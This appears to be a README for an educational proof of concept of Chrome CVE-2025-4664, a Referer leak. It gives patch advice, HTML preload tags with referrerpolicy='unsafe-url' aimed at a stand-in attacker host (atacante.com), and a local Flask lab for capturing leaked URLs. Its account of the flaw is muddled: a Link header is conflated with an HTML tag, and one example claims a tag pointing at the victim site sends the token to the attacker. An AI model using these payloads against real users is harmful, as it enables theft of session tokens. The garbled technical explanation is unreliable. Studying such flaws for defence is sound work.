🔒 Vulnerability CVE-2025-4664

The CVE-2025-4664 vulnerability is a high-severity security flaw identified in the Loader component of Google Chrome, present in versions prior to 136.0.7103.113. This issue allows a remote attacker to leak cross-origin data via a specially crafted HTML page, potentially compromising sensitive information such as session tokens or authentication credentials.

❓ What does the vulnerability consist of?

The flaw lies in an inadequate implementation of security policies in Chrome's Loader component. Specifically, Chrome interprets the referrer-policy directive within the HTTP Link header in subresource requests (such as images or scripts), even when other browsers do not. An attacker can exploit this by setting a less restrictive policy, such as unsafe-url, causing Chrome to leak full URLs, including sensitive parameters, to domains controlled by the attacker.

⚠️ Impact and active exploitation

This vulnerability has been actively exploited in real-world environments, leading the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to include it in its Known Exploited Vulnerabilities Catalog (KEV). CISA has set June 5, 2025 as the deadline for federal agencies to apply the corresponding fixes.

🛡️ Mitigation and recommendations

Google has released updates to fix this vulnerability in the following versions:

• 🖥️ Windows and Mac: 136.0.7103.113/.114
• 🐧 Linux: 136.0.7103.113

It is strongly recommended that all users update their Chrome browser to the latest available version. To check and apply the update:

1. 🔍 Open Chrome and click the three-dot menu in the top right corner.
2. ⚙️ Select "Help" and then "About Google Chrome".
3. ⬇️ Chrome will automatically check for updates and install them if available.
4. 🔄 After the update, restart the browser to apply the changes.

Additionally, users of Chromium-based browsers, such as Microsoft Edge, Brave, Opera, and Vivaldi, should be aware of the corresponding updates, as they could be affected by this vulnerability.

Keeping your browser updated is essential to protect against active security threats and safeguard personal information.

🕵️‍♂️ How is it exploited?

The CVE-2025-4664 vulnerability is exploited by manipulating how Google Chrome handles the referrer policy (referrer-policy) when loading subresources (such as images, scripts, etc.) from HTML links.

⚙️ How it is technically exploited:

1. 🌐 Creation of a malicious site:
   The attacker creates a website that includes an HTML link like this in its HTTP header:

   root@kitploit:~

   <link rel="preload" as="image" href="https://victima.com/imagen.jpg" referrerpolicy="unsafe-url">
   

2. 🔧 Manipulation of referrer-policy: In most browsers, this referrerpolicy in the tag is not applied to the loaded resource. However, Chrome does apply it, which is the core of the problem.

3. 📤 Leaking the Referer: When the victim's browser (Chrome) loads the resource from victima.com, it sends the full URL of the origin site as the Referer header, which may include:

• Session tokens (?token=ABC123)
• Sensitive parameters (?user=admin&password=1234)
• Private URLs

4. 🎯 Reception on the attacker's server: The attacker can set the resource destination to a URL under their control, for example:

<link rel="preload" as="image" href="https://atacante.com/captura.jpg" referrerpolicy="unsafe-url">

When the victim accesses this resource, Chrome sends their full URL as the Referer to the attacker's server.

5. 🕵️ Information theft: The attacker's server logs the HTTP headers and obtains the full contents of the victim's URL. This may include confidential data, access tokens, or even internal API URLs.

✔️ Necessary conditions for it to work:

• 👤 The victim uses an unpatched Google Chrome.
• 🔑 The victim's site includes sensitive information in the URL (such as authentication tokens).
• 🎣 The attacker gets the victim's browser to load a resource from their domain (for example, via phishing, a malicious ad, or a redirect).

🧪 Practical example of the attack (simplified):

1- The attacker sends the victim a link to:

https://atacante.com/pagina-maliciosa.html

2. On that page, something like this is loaded:

<link rel="preload" as="image" href="https://victima.com/perfil?token=ABC123" referrerpolicy="unsafe-url">

3. The Chrome browser sends:

Referer: https://victima.com/perfil?token=ABC123

to the attacker's domain, exposing the token.

Project files

🖥️ index.html — Victim file

This file simulates the victim of the attack, it is a simplified HTML demo to show how the CVE-2025-4664 vulnerability can be exploited using a malicious tag:

• Represents the vulnerable interface.
• Used to demonstrate how the vulnerability works in a controlled environment.
• Contains elements that the attacker can exploit according to CVE-2025-4664.

<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Demo CVE-2025-4664</title>

  <!-- This resource points to a victim's site with sensitive information in the URL -->
  <link rel="preload" as="image"
        href="https://victima.com/perfil?token=ABC123"
        referrerpolicy="unsafe-url">
</head>
<body>
  <h1>Demonstration of the CVE-2025-4664 vulnerability</h1>
  <p>If you are using a vulnerable version of Chrome, the browser will send the <strong>full Referer</strong> to the URL above.</p>
</body>
</html>

What this code does:

• The tag is configured to preload an image from victima.com with a token in the URL.
• With referrerpolicy="unsafe-url", Chrome will send the full URL of the current page as Referer to the victim domain.
• An attacker can capture that full URL in their logs if the image points to their own server.

🐍 servidor_atacante.py — Attacker file

With this script it is possible to automate the attack to capture the Referers using a small Python server. Here is an example using Flask to simulate the attacker's server that receives the data:

• Simulates the attack against the victim represented by index.html.
• Implements the techniques described in the vulnerability.
• Used to test and validate the implemented mitigation.

How to use it:

1. Save that code as servidor_atacante.py.
2. Install Flask if you don't have it:

pip install flask

3. Run the server:

python servidor_atacante.py

4. Then modify the HTML demo like this:

<link rel="preload" as="image"
      href="http://<tu_IP>:8080/captura.jpg"
      referrerpolicy="unsafe-url">

Replace <tu_IP> with the public or local IP of the server running the script.

💪 How to use the project

🛠️ 1. Run the Flask server

1. Open a terminal (PowerShell or CMD).

2. Navigate to the file folder:

cd "C:\Users\Sebas\Desktop\servidor_atacante"

3. Run Flask:

python servidor_atacante.py

4. You will see something like:

* Running on http://127.0.0.1:8080
* Running on http://192.168.1.35:8080

🌐 2. Create and open index.html (simulating victim)

In that same folder (C:\Users\Sebas\Desktop\servidor_atacante), create a file called index.html with this content:

<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Simulation CVE-2025-4664</title>

  <!-- Simulates the attack -->
  <link rel="preload" as="image"
        href="http://192.168.1.35:8080/captura.jpg"
        referrerpolicy="unsafe-url">
</head>
<body>
  <h1>Simulation CVE-2025-4664</h1>
  <p>This HTML attempts to leak the full URL (including the token) to the attacker.</p>
</body>
</html>

✅ Important: Make sure the IP (192.168.1.35) matches the one Flask shows as local IP. If it's different, change it in the HTML.

🚀 3. Open index.html with a sensitive parameter

1. Open Chrome.

2. In the address bar, type:

file:///C:/[Carpeta destino]/servidor_atacante/index.html?token=ABC123

3. Press Enter.

4. 📥 View the result on the server In the Flask console you should see something like:

[+] Referer received: file:///C:/[Carpeta destino]/servidor_atacante/index.html?token=ABC123

[Carpeta destino]: Modify this parameter to where we have saved the file.

🎯 That means the browser sent the full Referer to the attacker!

🧑‍🏫 Author

Explanation prepared by Sebastian Peinador for educational and research purposes in offensive cybersecurity.

📄 License

This material is distributed under the MIT license.

If you find it useful, don't forget to give the repo a ⭐ or share it!